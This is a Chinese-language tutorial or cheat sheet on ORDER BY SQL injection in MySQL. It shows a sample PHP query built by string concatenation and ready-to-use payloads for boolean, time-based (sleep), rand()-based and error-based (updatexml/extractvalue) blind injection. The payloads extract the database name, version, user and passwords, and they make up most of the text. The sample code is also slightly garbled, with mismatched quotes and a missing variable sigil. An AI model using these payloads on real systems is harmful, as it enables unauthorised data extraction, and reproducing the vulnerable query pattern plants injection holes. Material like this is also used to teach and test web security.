ORDER by 注入

如果order by 后面的字段可控,那么就可能造成order by注入

漏洞示例源码

1
2
3
4
5
6
7
8
9
10
11
12
13
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
$hit="username error!";
}else{
if ($row['password'] === $password){
$hit="";
}else{
$hit="password error!";
}

}

基于IF的盲注

1
order by if(1=1,id,username);

OR

1
order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

攻击示例:

1
2
order by if(left(version(),1)='5', 1, (select password from users));
order by if(ascii(substr(database(),1,1))>100, id, username);

基于时间的盲注

1
order by if(表达式,1,sleep(1))

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。

计算公式:延迟时间=sleep(1)的秒数*所查询数据条数

如果查询的数据很多时,延迟的时间就会特别长

在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

攻击示例:

1
order by if(ascii(substr((select target_column from target_table limit 0,1),1,1))=104, sleep(1), 1);

基于rand()的盲注

1
order by rand(表达式)

当表达式为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。

攻击示例:

1
order by rand(ascii(substr(database(),1,1))>96);

报错注入

1
2
order by updatexml(1,if(1=2,1,(表达式)),1)
order by extractvalue(1,if(1=2,1,(表达式)));

因为1=2,所以执行表达式内容

例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名

若改成1=1,则页面正常显示

攻击示例

1
2
order by updatexml(1, concat(0x7e, (select database()), 0x7e), 1);
order by extractvalue(1, concat(0x7e, (select user())));